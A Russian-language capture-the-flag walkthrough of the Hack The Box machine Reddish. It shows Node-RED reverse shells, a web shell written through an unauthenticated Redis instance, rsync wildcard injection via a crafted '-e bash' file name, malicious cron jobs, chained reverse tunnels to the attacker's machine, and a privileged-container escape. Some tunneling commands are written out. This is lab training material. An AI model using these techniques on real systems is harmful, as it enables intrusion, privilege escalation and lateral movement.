Техники туннелирования при пентесте

Техники туннелирования при пентесте

Что делать, когда тебе нужно захватить контроль над хостом, который находится в другой подсети? Верно — много запутанных туннелей! Сегодня мы рассмотрим техники туннелирования при пентесте — на примере хардкорной виртуалки Reddish (уровень сложности Insane — 8,0 баллов из 10) с CTF-площадки Hack The Box.

Встретимся со средой визуального программирования Node-RED, где в прямом смысле «построим» реверс-шелл; проэксплуатируем слабую конфигурацию СУБД Redis; используем инструмент зеркалирования файлов rsync для доступа к чужой файловой системе; наконец, создадим кучу вредоносных задач cron на любой вкус. Но самое интересное, что управлять хостом мы будем, маршрутизируя трафик по докер-контейнерам через несколько TCP-туннелей. Погнали!

Разведка

В этом разделе соберем побольше информации для проникновения вглубь системы.

Сканирование портов

Расчехляем Nmap — и в бой! Сразу скажу, что дефолтные 1000 портов, которые Nmap сканирует в первую очередь, оказались закрыты. Так что будем исследовать весь диапазон TCP на высокой скорости.

После полного сканирования, как видишь, откликнулся только один порт — неизвестный мне 1880-й. Попробуем вытащить из него больше информации.

Сканер говорит, что на этом порту развернут Express — фреймворк веб-приложений Node.js. А когда видишь приставку «веб» — в первую очередь открываешь браузер…

Веб — порт 1880

Переход на страницу http://10.10.10.94:1880/ выдает лишь скупое сообщение об ошибке.

Не найдена запрашиваемая страница (404)
Не найдена запрашиваемая страница (404)

Есть два пути разобраться, что за приложение висит на этом порту.

  1. Сохранить значок веб-сайта к себе на машину (обычно они живут по адресу /favicon.ico) и попытаться найти его с помощью Reverse Image Search.
  2. Спросить у поисковика, с чем обычно ассоциирован порт 1880.

Второй вариант более «казуальный», но столь же эффективный: уже на первой ссылке по такому запросу мне открылась Истина.

Гуглим информацию о 1880-м порте (источник — speedguide.net)
Гуглим информацию о 1880-м порте (источник — speedguide.net)

Node-RED

Если верить официальному сайту, Node-RED — это среда для визуального программирования, где можно строить связи между разными сущностями (от локальных железок до API онлайн-сервисов). Чаще всего, как я понял, о Node-RED говорят в контексте управления умными домами и вообще девайсами IoT.

Окей, софт мы идентифицировали, но ошибка доступа к веб-странице от этого никуда не делась.

Первое, что приходит в голову, — запустить брутер директорий. Но перед этим попробуем просто поменять запрос с GET на POST.

Ну вот и обошлись без брутеров. Как видишь, при обращении к корню веб-сайта через POST сервер возвращает пример того, как должно выглядеть тело запроса. В принципе, до этого можно дойти логически: в документации к API Node-RED тонны именно POST-запросов.

Итак, при переходе по http://10.10.10.94:1880/red/a237ac201a5e6c6aa198d974da3705b8/ мы видим следующую картину.

Рабочая область среды Node-RED
Рабочая область среды Node-RED

Давай разбираться, что здесь можно наворотить.

Node-RED Flow

Первая ассоциация при виде рабочей области Node-RED — «песочница». И так видно, что эта штука способна на многое, однако нам нужно всего ничего: получить шелл на сервере.

Список узлов среды Node-RED
Список узлов среды Node-RED

Я пролистал вниз панель «строительных блоков» (или «узлов», как называет их Node-RED) слева и увидел вкладку Advanced — здесь спряталась дорогая сердцу любого хакера функция exec.

Spice must FLOW

В философии Node-RED каждая комбинация, которую ты соберешь в рабочей области, называется «флоу» (он же поток). Потоки можно строить, выполнять, импортировать и экспортировать в JSON. При нажатии на кнопку Deploy сервер (как ни странно) деплоит все потоки со всех вкладок рабочей области.

simple-shell

Попробуем что-нибудь построить, тогда все станет очевидней. Для начала я задеплоил тривиальный шелл.

Флоу с тривиальным шеллом (simple-shell)
Флоу с тривиальным шеллом (simple-shell)

Разберем картинку по цветам блоков:

  • Серый (слева): получение данных на вход. Сервер выполняет обратное подключение к моему IP и привязывает ввод с моей клавиатуры к оранжевому блоку exec.
  • Оранжевый: выполнение команд на сервере. Результат работы этого блока поступает на вход второму серому блоку. Обрати внимание: у оранжевого блока есть три выходных «клеммы». Они соответствуют stdout, stderr и коду возврата (который я не стал использовать).
  • Серый (справа): отправка выходных данных. Открыв расширенные настройки блока двойным кликом, можно задать особенности его поведения. Я выбрал Reply to TCP, чтобы Node-RED отправлял мне ответы в этом же подключении.

О двух серых блоках можно думать, как о сетевых пайпах, по которым идет INPUT и OUTPUT блока exec. Экспортированный в JSON поток я оставлю у себя на GitHub, чтобы не засорять тело статьи.

Теперь поднимем локального слушателя на Kali и устроим деплой!

Отклик на машине атакующего от simple-shell
Отклик на машине атакующего от simple-shell

Как можно видеть — обыкновенный шелл non-PTY.

beautiful-shell

Конечно, мне было интересно поиграть в такой песочнице, поэтому я собрал еще несколько конструкций.

Флоу с улучшенным шеллом (beautiful-shell)
Флоу с улучшенным шеллом (beautiful-shell)

Это более аккуратный шелл: с ним можно отправлять запрос на подключение «с кнопки» без необходимости редеплоить весь проект (синий), логировать происходящее в веб-интерфейс (зеленый, результат смотри на рисунке ниже) и форматировать вывод команд под свой шаблон (желтый).

Отклик на машине атакующего от beautiful-shell
Отклик на машине атакующего от beautiful-shell
Пример информационных сообщений в диалоге отладки
Пример информационных сообщений в диалоге отладки

Исходник в JSON-ке здесь.

file-upload

Раз такое дело, почему бы не соорудить флоу для заливки файлов на сервер?

Флоу c отправкой файлов на сервер (file-upload)
Флоу c отправкой файлов на сервер (file-upload)

Здесь все совсем просто: по нажатию на кнопку Connect сервер подключается к порту 8889 моей машины (где уже поднят листенер с нужным файлом) и сохраняет полученную информацию в скрытый файл /tmp/.file (JSON).

Испытаем этот поток в деле: я запускаю nc на Kali, велю передать скрипт lse.sh для проведения локальной разведки на Linux (я начал его использовать вместо привычного LinEnum.sh), дожидаюсь окончания загрузки и проверяю контрольные суммы обоих копий.

На Kali:

Отправка скрипта lse.sh на сервер Node-RED
Отправка скрипта lse.sh на сервер Node-RED

На Node-RED:

Загрузка файлов из командной строки

Откровенно говоря, описанный подход к трансферу файлов избыточен: весь процесс можно провести, не отходя от терминала.

reverse-shell

Я не был доволен шеллом, построенным из абстракций Node-RED (некорректно читались некоторые символы, да и вся конструкция выглядела очень ненадежно), поэтому я получил полноценный Reverse Shell.

Отправка реверс-шелла из открытой сессии Node-RED на машину атакующего
Отправка реверс-шелла из открытой сессии Node-RED на машину атакующего

Сперва я сделал, как показано выше: открыл еще один порт в новой вкладке терминала и вызвал реверс-шелл на Bash по TCP. Но потом я решил упростить себе жизнь на случай, если придется перезапускать сессию, и собрал такой флоу в Node-RED (JSON).

Флоу c реверс-шеллом (reverse-shell)
Флоу c реверс-шеллом (reverse-shell)
Обрати внимание, что я завернул пейлоад для реверс-шелла в дополнительную оболочку Bash: bash -c ‘<PAYLOAD>’. Это сделано для того, чтобы команду выполнил именно интерпретатор Bash, так как дефолтный шелл на этом хосте — dash.
Теперь я могу написать простой Bash-скрипт, чтобы триггерить callback в один клик из командной строки.
Адрес URL, который я передаю curl, — это адрес объекта Inject из нашего потока (то есть кнопка Go! на рисунке выше). Также я использую rlwrap — иначе невозможно перемещаться стрелками влево-вправо по вводимой строке и вверх-вниз по истории команд.

У нас есть шелл — самое время разобраться, куда мы попали.

Докер. Контейнер I: nodered

Уже с первых секунд пребывания на сервере становится очевидно, что мы внутри докера, — ведь наш шелл вернулся от имени суперпользователя root.

Это же предположение подтверждает скрипт lse.sh, заброшенный на машину в прошлом параграфе.

Часть вывода скрипта lse.sh
Часть вывода скрипта lse.sh

А если ты не веришь и ему, можно убедиться в этом лично: в корне файловой системы (далее ФС) существует директория .dockerenv.

root@nodered:/node-red# ls -la /.dockerenv
-rwxr-xr-x 1 root root 0 May 4 2018 /.dockerenv

Если ты оказался в докере, первым делом рекомендуется проверить сетевое окружение — на случай, если это не единичный контейнер в цепочке. В текущей системе отсутствует ifconfig, поэтому информацию о сетевых интерфейсах будем смотреть с помощью ip addr.

Смотрим информацию о сетевых интерфейсах в nodered
Смотрим информацию о сетевых интерфейсах в nodered

Как видно, этот докер может общаться с двумя подсетями: 172.18.0.0/16 и 172.19.0.0/16. В первой подсети контейнер (будем называть его nodered) имеет IP-адрес 172.18.0.2, а во второй — 172.19.0.4. Посмотрим, с какими еще хостами взаимодействовал nodered.

Смотрим кеш ARP в nodered
Смотрим кеш ARP в nodered

Кеш ARP указывает на то, что nodered знает еще как минимум два хоста: 172.19.0.2 и 172.19.0.3 (хосты .1 не беру во внимание: скорее всего, это шлюзы по умолчанию к хостовой ОС).

Проведем сканирование с целью обнаружения хостов.

Host Discovery

«Пробить» сетевое окружение можно разными способами.

Ping Sweep

Первый способ — написать простой скрипт, который позволит «простучать» всех участников сети техникой Ping Sweep. Идея проста: на каждый хост уровня L2 в сети 172.18.0.0 (или просто 172.18.0.0/24) отправим по одному ICMP-запросу и посмотрим на код возврата. Если успех — выводим сообщение на экран, иначе — ничего не делаем.

В сканируемом участке сети всего может быть 254 хоста (256 минус адрес_сети минус адрес_широковещателя). Чтобы выполнить эту проверку за 1 секунду, а не за 254, запускаем каждый ping в своем шелл-процессе. Это не затратно, так как они будут быстро умирать, а я получу практически мгновенный результат.

При сканировании этой подсетки получили только гейтвей и свой же контейнер. Неинтересно, пробуем 172.19.0.0/24.

Есть два неизвестных хоста, которые мы вскоре отправимся изучать. Но прежде обсудим еще один способ проведения Host Discovery.

Статический Nmap

Забросим на nodered копию статически скомпилированного Nmap вместе с файлом /etc/services (он содержит ассоциативный маппинг «имя_службы ↔ номер_порта», необходимый для работы сканера) со своей Kali и запустим обнаружение хостов.

Nmap нашел два хоста в подсети 172.18.0.0/24.

И четыре хоста в подсети 172.19.0.0/24. Всё в точности, как и при ручном Ping Sweep.

Сканирование неизвестных хостов

Чтобы выяснить, какие порты открыты на двух неизвестных хостах, можно снова написать такой однострочник на Bash.

Работать он будет примерно так же, как и ping-sweep.sh, только вместо команды ping здесь отправляется тестовый символ прямиком на сканируемый порт. Но зачем так извращаться, когда у нас уже есть Nmap?

Обнаружили два открытых порта — по одному на каждый неизвестный хост. Сперва подумаем, как можно добраться до веба на 80-м, а потом перейдем к порту 6379.

Туннелирование… как много в этом звуке

Чтобы добраться до удаленного 80-го порта, придется строить туннель от своей машины до хоста 172.19.0.3. Сделать это можно поистине неисчисляемым количеством способов, например:

  • использовать функционал Metasploit и пробросить маршрут через meterpreter-сессию;
  • инициировать соединение Reverse SSH, где в качестве сервера будет выступать машина атакующего, а в качестве клиента — контейнер nodered;
  • задействовать сторонние приложения, предназначенные для настройки туннелей между узлами.

Еще, наверное, можно воспользоваться песочницей Node-RED и придумать такой флоу, который осуществлял бы маршрутизацию трафика от атакующего до неизвестных хостов, но… Хотел бы я посмотреть на смельчака, что этим займется.

Первый пункт с Metasploit мы рассматривали в предыдущей статье, поэтому повторяться не будем. Второй пункт мы тоже затрагивали, но речь там шла про тачки на Windows, а у нас же линуксы… Посему план такой: сперва я быстро покажу способ реверсивного соединения с помощью SSH, а дальше перейдем к специальному софту для туннелирования.

Reverse SSH (пример)

Для создания обратного SSH-туннеля нужен переносной клиент — чтобы разместить его на nodered. Именно таким клиентом является dropbear от австралийского разработчика Мэта Джонсона.

Скачаем исходные коды с домашней страницы его создателя и скомпилируем клиент статически у себя на машине.

Размер полученного бинарника — 1,4 Мбайта. Можно уменьшить его почти в три раза двумя простыми командами.

Сперва я срезал всю отладочную информацию с помощью Makefile, а затем сжал бинарь упаковщиком исполняемых файлов UPX.

Теперь сгенерируем пару «открытый/закрытый ключ» с помощью dropbearkey и дропнем клиент и закрытый ключ на nodered.

Загружаем SSH-клиент dbclient и ключ .secret на nodered
Загружаем SSH-клиент dbclient и ключ .secret на nodered

Все, SSH-клиент вместе с 521-битный приватным ключом (на эллиптике) улетели в контейнер. Теперь создадим фиктивного пользователя с шеллом /bin/false, чтобы не подставлять свою машину — вдруг кто-то наткнется на закрытый ключ?

Все готово, можно пробрасывать туннель.

root@nodered:/tmp# ./dbclient -f -N -R 8890:172.19.0.3:80 -i .secret -y snovvcrash@10.10.14.19

  • -f — свернуть клиент в бэкграунд после аутентификации на сервере;
  • -N — не выполнять команды на сервере и не запрашивать шелл;
  • -R 8890:172.19.0.3:80 — слушать localhost:8890 на Kali и перенаправлять все, что туда попадет, на 172.19.0.3:80;
  • -i .secret — аутентификация по приватному ключу .secret;
  • -y — автоматически добавлять хост с отпечатком его открытого ключа в список доверенных.

На Kali можно проверить успешность создания туннеля с помощью каноничного netstat или его новомодной альтернативы ss.

Открываем браузер — и на localhost:8890 находим тот самый эндпоинт, маршрут к которому мы прокладывали.

Проверяем доступность веб-сайта на 172.19.0.4 через обратный SSH-туннель
Проверяем доступность веб-сайта на 172.19.0.4 через обратный SSH-туннель

It works! Видеть такие надписи мне однозначно нравится.

Как я и говорил, это всего лишь пример. Дальше для продвижения по виртуалке Reddish мы будем пользоваться клиент-сервером Chisel.

Chisel

Быстрые TCP-туннели от Chisel. Транспортировка по HTTP. Безопасность по SSH. Мы наш, мы новый мир построим

Ладно, возможно, разработчик описывает свой софт чуть менее пафосно, но у меня в голове оно прозвучало именно так.

А если серьезно, то Chisel — это связка «клиент + сервер» в одном приложении, написанном на Go, которое позволяет прокладывать защищенные туннели в обход ограничений файрвола. Мы будем использовать Chisel, чтобы настроить реверс-коннект с контейнера nodered до Kali. По большому счету, его функционал близок к туннелированию посредством SSH — даже синтаксис команд похож.

Чтобы не запутаться в хитросплетениях соединений, я буду вести сетевую «карту местности». Пока у нас есть информация только о nodered и www.

Сетевая карта. Часть 1: Начальные сведения
Сетевая карта. Часть 1: Начальные сведения

Загрузим и соберем Chisel на Kali.

Объем 12 Мб — это немало в условии транспортировки исполняемого файла на машину-жертву. Хорошо бы так же сжать бинарник, как мы делали это с dropbear: с помощью флагов линковщика -ldflags уберем отладочную информацию, а затем упакуем файл в UPX.

Класс, теперь перенесем chisel в контейнер и создадим туннель.

Первым действием поднимаем сервер на Kali, который слушает активность на 8000-м порту (-p 8000) и разрешает создавать обратные подключения (-reverse).

Теперь подключаемся к этому серверу с помощью клиента на nodered. Команда выше откроет 8890-й порт на Kali (флаг R), через который трафик будет попадать в 80-й порт хоста 172.19.0.3. Если не указать сетевой интерфейс на обратном соединении явно (в данном случае 127.0.0.1), то будет использован 0.0.0.0.

Это означает, что любой участник сети сможет юзать нашу машину для общения с 172.19.0.3:80. Нас это не устраивает, так что приходится вручную прописывать 127.0.0.1. В этом отличие от дефолтного SSH-клиента, где по умолчанию всегда будет использован 127.0.0.1.

Сетевая карта. Часть 2: Туннель до веба через nodered
Сетевая карта. Часть 2: Туннель до веба через nodered

Исследование веб-сайта

Если открыть localhost:8890 в браузере, нас снова встретит радостная новость, что «it works!». Это мы уже видели, поэтому откроем сорцы веб-странички в поисках интересного кода.

Целиком исходник вставлять не буду, только скриншот с интересными моментами.

Исходный код главной страницы веб-сайта (172.19.0.3:80)
Исходный код главной страницы веб-сайта (172.19.0.3:80)

Комментарий (синим) гласит, что где-то существует контейнер с базой данных, у которой есть доступ к сетевой папке этого сервера. Аргументы функции test (красным) в совокупности с упоминанием некой базы данных напоминают команды GET и INCR в NoSQL-СУБД Redis. С примерами тестовых запросов через ajax можно поиграть в браузере и убедиться, что они и правда работают — в отличие от еще не реализованной функции backup.

Пока все сходится — и, сдается мне, я знаю, где искать Redis: как ты помнишь, у нас оставался еще один неопознанный хост с открытым 6379-м портом… Как раз самым что ни на есть дефолтным портом для Redis.

Redis

Пробросим еще один обратный туннель на Kali, который будет идти к порту 6379.

Сетевая карта. Часть 3: Туннель до Redis через nodered
Сетевая карта. Часть 3: Туннель до Redis через nodered

Всё — можно стучаться в гости к Redis со своей машины. К примеру, просканируем 6379-й порт с помощью Nmap — благо теперь у нас есть весь арсенал NSE для идентификации сервисов. Не забываем о флаге -sT — ведь сырые пакеты не умеют ходить через туннели.

Как предлагают в этом посте, проверим, нужна ли авторизация для взаимодействия с БД.

Проверяем, нужна ли авторизация для взаимодействия с БД
Проверяем, нужна ли авторизация для взаимодействия с БД

Похоже, что нет — значит, можно дальше раскручивать этот вектор. Я не буду инжектить свой открытый ключ в контейнер для подключения по SSH, как советуют на Packet Storm (потому что нет самого SSH), — но зато никто не запрещает залить веб-шелл в расшаренную папку веб-сервера.

Общаться с СУБД можно в простом подключении netcat/telnet, однако круче скачать и собрать нативный CLI-клиент из исходников самой базы данных.

Удостоверимся, что все работает, — попробуем команды, которые мы видели в сорцах веб-страницы.

Тестируем redis-cli
Тестируем redis-cli

Отлично, теперь можно сделать нечто более зловредное, а именно — записать веб-шелл в

Для этого нужно:

  1. очистить ключи для всех БД;
  2. создать в новой БД новую пару <ключ>, <значение> с веб-шеллом в качестве значения;
  3. задать имя новой БД;
  4. задать путь для сохранения новой БД;
  5. сохранить файл новой БД.
Интересный момент: Redis оптимизирует хранение значений, если в них присутствуют повторяющиеся паттерны, поэтому не всякий пейлоад, записанный в БД, отработает корректно.

Напишем скрипт на Bash, который будет «проигрывать» эти пять шагов выше. Автоматизация нужна: вскоре мы выясним, что веб-директория очищается каждые три минуты.

Пример работы скрипта pwn-redis.sh
Пример работы скрипта pwn-redis.sh

Скрипт отработал успешно, поэтому можно открыть браузер — и после перехода по адресу:

Получить такой ответ.

Ответ команды whoami
Ответ команды whoami

Таким образом, у нас есть RCE в контейнере 172.19.0.3 (будем называть его www, ведь он сам так представился).

Ответ команды hostname
Ответ команды hostname

Раз есть RCE, неплохо было бы получить шелл.

Докер. Контейнер II: www

Неплохо бы, да вот есть одно но: хост www умеет общаться только с nodered, а напрямую связаться с Kali он не может. Значит, будем создавать очередной туннель (третий по счету) поверх существующего обратного — и через него ловить callback от www на Kali. Новый туннель будет прямым (или «локальным»).

Что здесь произошло: мы подключились к серверу 10.10.14.19:8000 и вместе с этим проложили туннель, который берет начало в 7001-м порту контейнера nodered, а заканчивается в 9001-м порту ВМ Kali. Теперь все, что попадет в интерфейс 172.19.0.4:7001, будет автоматически перенаправлено на машину атакующего по адресу 10.10.14.19:9001. То есть мы сможем собрать реверс-шелл и в качестве цели (RHOST:RPORT) указать контейнер 172.19.0.4:7001, а отклик придет уже на локальную (LHOST:LPORT) тачку 10.10.14.19:9001. Элементарно, Ватсон!

Сетевая карта. Часть 4: Первый туннель до Kali с nodered
Сетевая карта. Часть 4: Первый туннель до Kali с nodered

Я добавил две дополнительные строки в скрипт pwn-redis.sh: «отправить шелл» и «запустить слушателя на порт 9001».

Пейлоад для curl закодирован в Percent-encoding, чтобы не мучиться с «плохими» символами. Вот так он выглядит в «человеческом» виде.

Теперь в одно действие получаем сессию на www.

Получение сессии в контейнере www
Получение сессии в контейнере www

Предлагаю осмотреться.

Смотрим информацию о сетевых интерфейсах в www
Смотрим информацию о сетевых интерфейсах в www

Во-первых, этот контейнер также имеет доступ в две подсети: 172.19.0.0/16 и 172.20.0.0/16.

Директория backup в корне файловой системы www
Директория backup в корне файловой системы www

В корне файловой системы — интересная директория /backup, которая встречается довольно часто на виртуалках Hack The Box (да и в реальной жизни тоже). Внутри — скрипт backup.sh со следующим содержимым.

Здесь мы видим:

  • обращение к пока неизвестному нам хосту backup;
  • использование rsync, чтобы бэкапить все файлы с расширением .rdb (файлы БД Redis) на удаленный сервер backup;
  • использование rsync для восстановления резервной копии (которая также находится где-то на сервере backup) содержимого /var/www/html/.

Думаю, уязвимость видна невооруженным глазом (мы уже делали что-то подобное с 7z): админ юзает * (2-я строка) для обращения ко всем rdb-файлам. А поскольку в арсенале rsync есть флаг для выполнения команд, хакер может создать скрипт с особым именем, идентичным синтаксису для триггера команд, и выполнять какие угодно действия от имени того, кто запускает backup.sh.

Справка rsync
Справка rsync

Могу поспорить, что скрипт выполняется по планировщику cron.

Задача выполнения backup.sh каждые три минуты
Задача выполнения backup.sh каждые три минуты

Класс, значит, он будет выполнен от имени root! Приступим к эксплуатации.

Эскалация до root

Сперва в директори:

Создадим файл pwn-rsync.rdb — с обычным реверс-шеллом, которые мы сегодня видели уже сотню раз.

После там же создадим еще один файл с оригинальным именем -e bash pwn-rsync.rdb. Вот как выглядит листинг директории сетевой шары в момент перед получением шелла:

Осталось открыть новую вкладку терминала — и дождаться запуска задания cron.

Получение привилегированной сессии в www
Получение привилегированной сессии в www

И вот у нас есть root-шелл!

Больше туннелей!

Как ты понимаешь, отклик реверс-шелла я отправил в контейнер nodered, а ловил его на Kali. Для этого я предварительно пробросил еще один локальный туннель на 1337-м порту с nodered на свою машину.

Сетевая карта. Часть 5: Второй туннель до Kali с nodered
Сетевая карта. Часть 5: Второй туннель до Kali с nodered

Теперь можно честно забрать хеш юзера.

Забираем флаг пользователя
Забираем флаг пользователя

Но это всего лишь пользовательский флаг, а мы по-прежнему находимся внутри docker. Что же теперь?

Докер. Контейнер III: backup

Устройство скрипта для создания резервных копий должно навести на мысль: каким образом проходит аутентификация на сервере backup? И ответ такой: да, в общем-то, никаким. Доступ к файловой системе этого контейнера может получить любой, кто сумеет дотянуться по сети до www.

Мы уже видели вывод ip addr для www и поняли, что у этого контейнера есть доступ в подсеть 17.20.0.0/24, однако конкретный адрес сервера backup нам все еще неизвестен. Можно предположить, что его IP 17.20.0.2 — по аналогии с раскладом остальных узлов сети.

Поищем подтверждение нашему предположению. В файле /etc/hosts нет информации о принадлежности сервера backup, однако узнать его адрес можно еще одним способом: отправим всего один ICMP-запрос с www до backup.

Делать это нужно из привилегированного шелла, потому что у юзера www-data не хватает прав для открытия нужного сокета.

Таким нехитрым способом мы убедились, что адрес backup — 172.20.0.2. Дополним карту сетевых взаимодействий.

Сетевая карта. Часть 6: Локализация контейнера backup
Сетевая карта. Часть 6: Локализация контейнера backup

Теперь вернемся к рассуждению выше: у нас есть доступ к www и есть rsync без аутентификации (на 873-м порту) — следовательно, у нас есть права на чтение/запись в файловую систему backup.

Например, я могу просмотреть корень ФС backup.

Листинг корня файловой системы контейнера backup
Листинг корня файловой системы контейнера backup

Или прочитать файл shadow.

Чтение файла /etc/shadow контейнера backup
Чтение файла /etc/shadow контейнера backup

А также записать любой файл в любую директорию на backup.

Запись тестового файла в директорию /etc контейнера backup
Запись тестового файла в директорию /etc контейнера backup

Попробуем таким образом получить шелл: я создам вредоносную задачу cron с реверс-шеллом, запишу ее в /etc/cron.d/ на сервере backup и поймаю отклик на Kali. Но у нас очередная проблема сетевой доступности: backup умеет говорить только с www, а www только с nodered… Да, ты правильно понимаешь, придется строить цепочку туннелей: от backup до www, от www до nodered и от nodered до Kali.

Получение root-шелла

Следуя принципам динамического программирования, декомпозируем сложную задачу на две простые подзадачи, а в конце объединим результаты.

  1. Пробрасываем локальный порт 1111 из контейнера nodered до порта 8000 на Kali, где работает сервер Chisel. Это позволит нам обращаться к 172.19.0.4:1111 как к серверу Chisel на Kali.

root@nodered:/tmp# ./chisel client 10.10.14.19:8000 1111:127.0.0.1:8000 &

  1. Вторым шагом настроим переадресацию с www на Kali. Для этого подключимся к 172.19.0.4:1111 (так же, как если бы мы могли подключиться к Kali напрямую) и пробросим локальный порт 2222 до порта 3333 на Kali.
Теперь все, что попадет в порт 2222 на www, будет перенаправлено по цепочке туннелей в порт 3333 на машину атакующего.

Сетевая карта. Часть 7: Цепочка туннелей www ↔ nodered ↔ Kali
Сетевая карта. Часть 7: Цепочка туннелей www ↔ nodered ↔ Kali

Примечание

Для некоторых утилитарных целей (например, доставить исполняемый файл chisel в контейнер www), было открыто еще 100500 вспомогательных туннелей — их описание я не стал включать в текст прохождения и добавлять на сетевую карту, чтобы не запутывать читателя еще больше.

Остается создать реверс-шелл, cron-задачу, залить это все на backup, дождаться запуска cron и поймать шелл на Kali. Сделаем же это.

Создаем шелл.

Создаем cronjob, который будет выполняться каждую минуту.

Заливаем оба файла на backup с помощью rsync.

И через мгновение нам приходит коннект на 3333-й порт Kali.

Ловим root-сессию backup на Kali
Ловим root-сессию backup на Kali

Финальный захват хоста Reddish

Прогулявшись по файловой системе backup, можно увидеть такую картину.

Листинг устройств sda* в директории /dev контейнера backup
Листинг устройств sda* в директории /dev контейнера backup

В директории /dev оставлен доступ ко всем накопителям хостовой ОС. Это означает, что на Reddish контейнер был запущен с флагом —privileged. Это наделяет докер-процесс практически всеми полномочиями, которые есть у основного хоста.

Интересная презентация по аудиту докер-контейнеров: Hacking Docker the Easy way.

Если мы смонтируем, к примеру, /dev/sda1, то сможем совершить побег в файловую систему Reddish.

Монтируем /dev/sda1 и запрашиваем листинг корня ФС основного хоста
Монтируем /dev/sda1 и запрашиваем листинг корня ФС основного хоста

Шелл можно получить тем же способом, каким мы попали в контейнер backup: создадим cronjob и дропнем его в /dev/sda1/etc/cron.d/.

И теперь отклик реверс-шелла придет уже человеческим образом — через реальную сеть 10.10.0.0/16 (а не через дебри виртуальных интерфейсов докера) на порт 9999 ВМ Kali.

Ловим root-сессию Reddish на Kali
Ловим root-сессию Reddish на Kali

Если вызвать ip addr, можно видеть нагромождение сетей docker.

Список сетевых интерфейсов хоста Reddish
Список сетевых интерфейсов хоста Reddish

Вот и все! Осталось забрать рутовый флаг — и виртуалка пройдена.

Трофей
Трофей
Неплохой читшит со списком утилит для решения задач маршрутизации трафика — PayloadsAllTheThings / Network Pivoting Techniques

Эпилог

Конфигурация docker

У нас есть полноправный доступ к системе, поэтому из любопытства можно открыть конфигурацию docker /opt/reddish_composition/docker-compose.yml.

Из нее мы видим:

  • список портов, доступных «снаружи» (строка 7);
  • разделяемую с контейнерами www и redis внутреннюю сеть (строка 10);
  • конфигурации всех контейнеров (nodered, www, redis, backup);
  • флаг —privileged, с которым запущен контейнер backup (строка 38).

В соответствии с найденным конфигом я в последний раз обновлю свою сетевую карту.

Сетевая карта. Часть 8: Файловая система Reddish
Сетевая карта. Часть 8: Файловая система Reddish

Chisel SOCKS

Откровенно говоря, Reddish можно было пройти гораздо проще, ведь Chisel поддерживает SOCKS-прокси. Это значит, что нам вообще-то не нужно было вручную возводить отдельный туннель под каждый пробрасываемый порт. Безусловно, это полезно в учебных целях — чтобы понимать, как это все работает, однако настройка прокси-сервера значительно упрощает жизнь пентестеру.

Единственная трудность заключается в том, что Chisel умеет запускать SOCKS-сервер только в режиме chisel server. То есть нам нужно было бы положить Chisel на промежуточный хост (например, nodered), запустить его в режиме сервера и подключаться к этому серверу с Kali. Но именно это мы и не могли сделать! Как ты помнишь, мы сперва пробросили реверс-соединение к себе на машину, чтобы взаимодействовать с внутренней сетью докер-контейнеров.

Но и здесь есть выход: можно запустить «Chisel поверх Chisel». В этом случае первый Chisel будет вести себя как обычный сервер, который организует нам backconnect к nodered, а второй — как сервер SOCKS-прокси уже в самом контейнере nodered. Убедимся на примере.

Первым делом, как обычно, запускаем сервер на Kali, который разрешает обратные подключения.

Потом делаем обратный проброс с nodered (порт 31337) на Kali (порт 8001). Теперь все, что попадает на Kali через localhost:8001, отправляется в nodered на localhost:31337.

Следующим шагом запускаем Chisel в режиме SOCKS-сервера на nodered — слушать порт 31337.

В завершение активируем дополнительный клиент Chisel на Kali (со значением socks в качестве remote), который подключается к локальному порту 8001. А дальше начинается магия: трафик передается через порт 1080 SOCKS-прокси по обратному туннелю (его обслуживает первый сервер Chisel на 8000-м порту) и попадает на интерфейс 127.0.0.1 контейнера nodered — в порт 31337, где уже развернут SOCKS-сервер. Фух.

С этого момента мы можем обращаться к любому хосту по любому порту, если до них может дотянуться nodered, — а SOCKS-прокси выполнит всю маршрутизацию за нас.

ВКонтакте
OK
Telegram
WhatsApp
Viber

Один комментарий

  1. kazah

    …дорогая сердцу любого хакера функция exec…улыбнуло))
    Спасибо за статью, оооочень познавательно и интересно!

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *